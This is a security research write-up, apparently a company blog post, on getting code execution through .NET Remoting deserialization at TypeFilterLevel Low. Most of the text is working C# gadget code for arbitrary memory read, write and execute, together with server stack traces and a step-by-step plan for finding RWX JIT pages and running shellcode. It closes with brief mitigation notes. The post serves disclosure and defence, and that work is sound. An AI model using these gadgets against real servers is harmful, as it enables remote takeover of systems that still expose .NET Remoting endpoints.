Exploiting .NET Remoting with TypeFilterLevel Low and no MarshalByRef interfaces (英語記事)
2022年6月8日 13:00
Description:
In 2020 there were some bugs reported to Microsoft related to .NET Remoting at [1]. One of the them is DoS bug in BinaryServerFormatterSink::ProcessMessage function (“intended behaviour” according to Microsoft). This DoS can actually be turned into Code Execution by changing the gadget (researchers used Process.Start gadget, which will cause a crash on unhandled exception because of TypeFilterLevel=Low).
We created an exploit that uses 4 different gadgets to touch/read/write/execute arbitrary memory. As .NET code uses JIT for executing MSIL code, we are abusing existing RWX pages in the process to place our shellcode and later execute it with the last gadget.
The only requirement for an attacker is availability of endpoint on which he can execute methods (we use Object.Equals with a specially crafted argument).
It seems not possible to mitigate this by changing the code of the methods exposed by interface as vulnerability is triggered before control reaches code of the server application. Vulnerability is triggered in the function that deserializes arguments for a remote call and since any exploitation attempt ends up with an exception, application gets no notification whatsoever.
Besides the obvious deserialization bug at *BinaryServerFormatterSink::ProcessMessage there is also missing [SecuritySafeCritical] attribute on functions from Marshal* static class (despite exposing unsafe functions like arbitrary memory writing).
Technical details
TypeConfuseDelegate and DataSet wrapper for BinaryFormatter
Let’s describe some details behind TypeConfuseDelegate used in the exploit which are important to understand what is happening on the server-side.
Example code (see ysoserial code at [2]):
Delegate da = new Comparison<Array>(String.Compare);
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(da, da);
IComparer<Array> comp = Comparer<Array>.Create(d);
SortedSet<string> set = new SortedSet<string>(comp);
set.Add("calc.exe");
set.Add("dummy");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<string, Process>(Process.Start);
fi.SetValue(d, invoke_list);
return set;
In the code above String.Compare function is used for Comparator. public static int String.Compare(string strA, string strB)
This function is merged (by using MulticastDelegate) with a suitable (by signature) static function Process.Start.
public static Process Process.Start(string fileName)
Now if we create a SortedSet<string> which contains exactly two elements, at the moment of deserialization besides String.Compare("calc.exe", "dummy"), a second call Process.Start("calc.exe", "dummy") will be made.
Notice: If function has less arguments than the number of supplied ones, extra arguments are ignored.
Return value is important only for the first function and can be anything for a second function.
We can control only two arguments of the function and this arguments must have the same or castable type.
object TypeConfuseDelegateGadget_Assembly_Load(byte[] ASSEMBLY_BYTES)
{
Delegate da = new Comparison<Array>(Array.IndexOf);
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(da, da);
IComparer<Array> comp = Comparer<Array>.Create(d);
SortedSet<Array> set = new SortedSet<Array>(comp);
set.Add(ASSEMBLY_BYTES);
set.Add("dummy".ToCharArray());
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Func<byte[], Assembly>(Assembly.Load);
fi.SetValue(d, invoke_list);
return set;
}
Here is another example which has different base type (Array) and Comparator(Array.IndexOf), allowing us to call Assembly.Load with byte[] serialized besides SortedSet<Array>.
Signatures:
public static int Array.IndexOf(Array array, object value)
public static System.Reflection.Assembly Assembly.Load (byte[] rawAssembly)
Effective actions on deserilization:
Array.IndexOf((Array)ASSEMBLY, (object)"dummy".ToCharArray())
Assembly.Load((byte[])ASSEMBLY, "dummy".ToCharArray())
Set has two objects (byte[] of assembly we want to pass to Assembly.Load and “dummy” of type byte[]), so Comparator (MulticastDelegate) will be called for them on deserialization.
It seems to be guaranteed that the first object in the SortedSet will be used as the first argument and the second object as the second argument accordingly.
To be able to deserialize our SortedSet<Array> (using BinaryDeserializer) at TypeFilterLevel=Low we need to additionaly wrap it into one of the gadgets (classes that implement ISerializable). In our case it is DataSet.
Serialized DataSet can force remote application to deserialize arbitrary BinaryFormatter byte string while deserializing the DataSet object itself. You can see its usage in ysoserial at [3].
So, the final payload will looks like: DataSet(BinaryFormatter(SortedSet<Array>))
Code:
object DataSet_Wrap(object obj)
{
BinaryFormatter fmt = new BinaryFormatter();
MemoryStream ms = new MemoryStream();
fmt.Serialize(ms, obj);
return new DataSetMarshal(ms);
}
As we cannot return any value from the server directly (any successful call to MulticastDelegate will generate InvalidCastException), we are going to make an oracle based on unsuccessful/successful calls (and exceptions they return).
Improvement of the TypeConfuseDelegate gadget with DynamicInvoke (memory touch gadget)
Because of limitations the original TypeConfuseDelegate has, we need to modify it to support more than two controlled arguments. Instead of calling the target function directly we make another Delegate instance which is going to be serialized inside MulticastDelegate.
object TypeConfuseDelegateGadget_TouchMem(IntPtr addr)
{
Delegate da = new Comparison<Array>(Array.IndexOf);
Delegate[] sd = { da, da };
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(sd);
IComparer<Array> comp = Comparer<Array>.Create(d);
SortedSet<Array> set = new SortedSet<Array>(comp);
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
Delegate _ReadByteDelegate = new Func<IntPtr, byte>(Marshal.ReadByte);
Object[] _args1 = { (IntPtr)addr };
set.Add(_args1);
set.Add(_args1); // not used
invoke_list[1] = new Func<object[], object>(_ReadByteDelegate.DynamicInvoke);
fi.SetValue(d, invoke_list);
return set;
}
Signatures:
public static int Array.IndexOf(Array array, object value)
public object Delegate.DynamicInvoke(params object[] args)
public static byte Marshal.ReadByte (IntPtr ptr)
Effective actions on deserialization:
ARGUMENT = new Object[]{ (IntPtr)addr }
Array.IndexOf((Array)ARGUMENT, (object)ARGUMENT)
(new Func<IntPtr, byte>(Marshal.ReadByte)).DynamicInvoke(ARGUMENT, ARGUMENT)
In this example we are calling Marshal.ReadByte with IntPtr argument to test memory for READ access.
Since this function has proper exception handling we are going to get System.AccessViolationException inside Marshal.ReadByte and the application will NOT crash in case of inaccessible address.
On successful touch System.InvalidCastException occurs when DataSet object finishes deserialization of SortedSet<Array> and realizes that it cannot cast SortedSet<Array> to System.Data.DataTable.
Stack trace on successful touch:
A: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.InvalidCastException: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.Array]' to type 'System.Data.DataTable'.
at System.Data.DataSet.DeserializeDataSetSchema(SerializationInfo info, StreamingContext context, SerializationFormat remotingFormat, SchemaSerializationMode schemaSerializationMode)
at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context, Boolean ConstructSchema)
at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context)
--- End of inner exception stack trace ---
Server stack trace:
at System.RuntimeMethodHandle.SerializationInvoke(IRuntimeMethodInfo method, Object target, SerializationInfo info, StreamingContext& context)
at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject(Object obj, SerializationInfo info, StreamingContext context)
at System.Runtime.Serialization.ObjectManager.FixupSpecialObject(ObjectHolder holder)
at System.Runtime.Serialization.ObjectManager.DoFixups()
at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
Stack trace on BAD memory touch:
B: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---> System.AccessViolationException: Attempted to read or write protected memory. This is often an indication that other memory is corrupt.
at System.Runtime.InteropServices.Marshal.ReadByte(IntPtr ptr, Int32 ofs)
--- End of inner exception stack trace ---
at System.RuntimeMethodHandle.InvokeMethod(Object target, Object[] arguments, Signature sig, Boolean constructor)
at System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(Object obj, Object[] parameters, Object[] arguments)
at System.Delegate.DynamicInvokeImpl(Object[] args)
at System.Comparison`1.Invoke(T x, T y)
at System.Collections.Generic.SortedSet`1.AddIfNotPresent(T item)
at System.Collections.Generic.SortedSet`1.OnDeserialization(Object sender)
at System.Runtime.Serialization.ObjectManager.RaiseDeserializationEvent()
at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
at System.Data.DataSet.DeserializeDataSetSchema(SerializationInfo info, StreamingContext context, SerializationFormat remotingFormat, SchemaSerializationMode schemaSerializationMode)
at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context, Boolean ConstructSchema)
at System.Data.DataSet..ctor(SerializationInfo info, StreamingContext context)
--- End of inner exception stack trace ---
Server stack trace:
at System.RuntimeMethodHandle.SerializationInvoke(IRuntimeMethodInfo method, Object target, SerializationInfo info, StreamingContext& context)
at System.Runtime.Serialization.ObjectManager.CompleteISerializableObject(Object obj, SerializationInfo info, StreamingContext context)
at System.Runtime.Serialization.ObjectManager.FixupSpecialObject(ObjectHolder holder)
at System.Runtime.Serialization.ObjectManager.DoFixups()
at System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
at System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage)
at System.Runtime.Remoting.Channels.CoreChannel.DeserializeBinaryRequestMessage(String objectUri, Stream inputStream, Boolean bStrictBinding, TypeFilterLevel securityLevel)
at System.Runtime.Remoting.Channels.BinaryServerFormatterSink.ProcessMessage(IServerChannelSinkStack sinkStack, IMessage requestMsg, ITransportHeaders requestHeaders, Stream requestStream, IMessage& responseMsg, ITransportHeaders& responseHeaders, Stream& responseStream)
Write memory gadget
public static void WriteByte (IntPtr ptr, byte val);
Pretty much like touch, but function now has 2 arguments:
Delegate da = new Comparison<Array>(Array.IndexOf);
Delegate[] sd = { da, da };
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(sd);
IComparer<Array> comp = Comparer<Array>.Create(d);
SortedSet<Array> set = new SortedSet<Array>(comp);
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
Delegate _WriteByte = new Action<IntPtr, byte>(Marshal.WriteByte);
Object[] _args1 = { (IntPtr)addr, (byte)val };
set.Add(_args1);
set.Add(_args1); // not used
invoke_list[1] = new Func<object[], object>(_WriteByte.DynamicInvoke);
fi.SetValue(d, invoke_list);
return set;
Signature:
public static void Marshal.WriteByte(IntPtr ptr, byte val)
Successful write exception: System.InvalidCastException Unsuccessful write exception: System.AccessViolationException
Execute memory gadget
Signature:
public static int Marshal.AddRef (IntPtr pUnk);
We can achieve code execution by abusing Marshal.AddRef function which is wrapper for IUnknown::AddRef. We basically just need to build a fake COM object with a VTable that has a AddRef method and pass it to Marshal.AddRef.
struct IUnknown_vtbl
{
HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, LPVOID* ppv );
ULONG STDMETHODCALLTYPE AddRef();
ULONG STDMETHODCALLTYPE Release();
};
struct IUnknown
{
IUnknown_vtbl* vtbl;
};
Let’s imagine that RWX memory is located at 0xAAAA0000. We will start building a fake COM object at 0xAAAA0100, and its VTable will be placed at 0xAAAA0200. The memory we want to execute is ready at 0xAAAA0300. So, our actions can be simplified to the following pseudocode:
WriteQWORD(0xAAAA0100, 0xAAAA0200)
WriteQWORD(0xAAAAA200 + 8, 0xAAAA0300)
Marshal.AddRef(0xAAAA0100)
Application state will be corrupted after this action, so our code should not return control to back to .NET. On successful exploitation we will get neither exception nor timeout (exploit will wait for result forever, or until target application terminates).
Read memory gadget
This gadget requires some trickery, as we cannot directly return anything besides exception. Luckily for us there is BitConverter.ToBoolean function.
From the first look, it is hard to tell how we can READ memory with it, as it only returns boolean value for a byte in array being ZERO or anything else.
Here we need to understand how byte[] type is represented in memory by .NET or, precisely, where the Length value is stored. Simply enough it is stored at +0x8 from the pointer to byte[].
struct byte_array_t {
void* ptr;
int32_t Length; // +0x8
};
If the pointer to byte[] has the value 0xAAAAAA00, array length is stored at 0xAAAAAA08 as signed int32 (value in range of 0 to 0x7fffffff, excluding negative numbers)
To understand how to use this information we need to look at examples (follow code flow of BitConverter.ToBoolean in the picture shown before).
Let memory at 0xAAAAAA08 had a DWORD value of 100
BitConverter.ToBoolean (0xAAAAAA00, 99)
(value=0xAAAAAA00) == null | FALSE
(startIndex=99) < 0 | FALSE
(startIndex=99) > (value.Length=100) - 1 | FALSE
value[99] | -> System.AccessViolationException or SUCCESSFUL READ (System.InvalidCastException)
BitConverter.ToBoolean (0xAAAAAA00, 100)
(value=0xAAAAAA00) == null | FALSE
(startIndex=100) < 0 | FALSE
(startIndex=100) > (value.Length=100) - 1 | TRUE -> System.ArgumentOutOfRangeException
BitConverter.ToBoolean (0xAAAAAA00, 101)
(value=0xAAAAAA00) == null | FALSE
(startIndex=101) < 0 | FALSE
(startIndex=101) > (value.Length=100) - 1 | TRUE -> System.ArgumentOutOfRangeException
Notice: We speak of x64 process. x86 will have a little bit different offsets.
To read a DWORD in this case we need to use a binary search and make guesses until a change between System.ArgumentOutOfRangeException exception and any other exception occur. int ReadMemory_Int32(IntPtr addr)
int ReadMemory_Int32(IntPtr addr)
{
int left = 0;
int right = 0x7fffffff;
while (left < right)
{
int mid = left + (right - left) / 2;
int st = ReadInt32_Cmp(addr, mid);
if (st == -1)
left = mid + 1;
else
right = mid;
}
return left;
}
It might not always be possible to read Int32 if it has negative value. But we can minimize bad cases by wrapping this function into BYTE reader as in follow code:
Byte ReadMemory_BYTE(IntPtr addr)
{
int val;
val = ReadMemory_Int32(addr - 0);
if (val != 0 && val != 0x7fffffff)
return (byte)(val >> 0);
val = ReadMemory_Int32(addr - 1);
if (val != 0 && val != 0x7fffffff)
return (byte)(val >> 8);
val = ReadMemory_Int32(addr - 2);
if (val != 0 && val != 0x7fffffff)
return (byte)(val >> 16);
val = ReadMemory_Int32(addr - 3);
if (val != 0 && val != 0x7fffffff)
return (byte)(val >> 24);
return 0;
}
Signatures:
public static ulong Math.Max(ulong val1, ulong val2) public static bool BitConverter.ToBoolean (byte[] value, int startIndex);
Gadget code:
object TypeConfuseDelegateGadget_TestMem(IntPtr addr, int TryVal)
{
Delegate da = new Comparison<Array>(Array.IndexOf);
Delegate[] sd = { da, da };
Comparison<Array> d = (Comparison<Array>)MulticastDelegate.Combine(sd);
IComparer<Array> comp = Comparer<Array>.Create(d);
SortedSet<Array> set = new SortedSet<Array>(comp);
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
// Will read *((int*)x+0x8) on x64
Object[] _args1 = { (ulong)(addr - 8), (ulong)TryVal };
set.Add(_args1);
set.Add(_args1); // not used
Delegate da2 = new Func<ulong, ulong, ulong>(Math.Max);
Delegate[] sd2 = { da2, da2 };
Func<ulong, ulong, ulong> d2 = (Func<ulong, ulong, ulong>)MulticastDelegate.Combine(sd2);
FieldInfo fi2 = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list2 = d2.GetInvocationList();
invoke_list2[1] = new Func<byte[], int, bool>(BitConverter.ToBoolean);
fi2.SetValue(d2, invoke_list2);
invoke_list[1] = new Func<object[], object>(d2.DynamicInvoke);
fi.SetValue(d, invoke_list);
return set;
}
Notice: I had to use MulticastDelegate merging Math.Max and BitConverter.ToBoolean calls because there was a problem with storing arguments with correct type in Object[].
Correct guess exception: System.InvalidCastException Wrong guess exception: System.ArgumentOutOfRangeException Wrong guess / Bad memory exception: System.AccessViolationException
Locating JIT pages with RWX permissions
At this point we can read, write and execute arbitrary memory of target process.
The last challenge for exploitation is finding memory where we can prepare a shellcode for execution.
Lets look at the first 32 bytes of pages that belong to .NET JIT.
You can easily notice a pattern, which can be simplified to the following structure:
struct x64_jit_header {
QWORD pNext; // zero of pointer to next/prev block?
QWORD pCurrent; // pointer to the block itself
QWORD nSize; // possibly size of the block
QWORD nFlag; // 1 or 0
}
Not all pages with this header actually have RWX permissions, but in my tests regions that satisfy following conditions usually were good for shellcode:
pNext == 0
nSize > 0x10000
nFlag == 1
Strategy for arbitrary code execution
So our exploitation strategy will be: 1. Scan high memory of the process for blocks that have commited memory (using steps of big size for a speed up). 2.UInt64 START = 0x7ff000000000; UInt64 FINISH = 0x7ffffffff000; UInt64 STEP = 0x40 * 0x1000; 3. Improve boundaries of newly discovered regions with smaller steps. 4.UInt64 STEP = 0x1000; 5. Read pointer at offset +0x08 for each pages and check if it’s equal to the address of block itself. 6. If check is passed, we read remaining 3 pointers and make decision on whenever this block can be an RWX memory. 7. Write shellcode, build fake COM object, call Marshal.AddRef gadget.
Possible mitigation case (Veeam Agent for Microsoft Windows)
Recently we noticed a new article from MDSec about deserialization vulnerabilities in Veeam software [5]. They used ExploitRemotingService by James Forshaw [6] and it was patched by downgrading TrustLevel to Low.
This seemed like an insufficient fix as our method could theoretically bypass it. We tested the recent version of Veeam and surprisingly method it did not worked.
Turns out Veeam has custom BinaryFormatter deserializer implemented which blocks any types that are not in the whitelist. This seems like a nice fix for our exploitation method, so we decided to mention this case.
Summary
As you can see, even with TypeFilterLevel=Low and no MarshalByRef interfaces (required for original James Forshaw’s exploit) we can achieve code execution.
.NET Remoting is long deprecated functionality that should not be used by any application that can be accessed and abused by attacker.
There are more ways of exploitation besides described method, for example newest research at [4].
We also contacted Microsoft and got a confirmation that this is known problem in discontinued software. Official recommendation is to port you software to WCF. Related documentation is available at [7].
Resources
[1] MZ-20-03 - New security advisory regarding vulnerabilities in .Net
[2] TypeConfuseDelegateGenerator.cs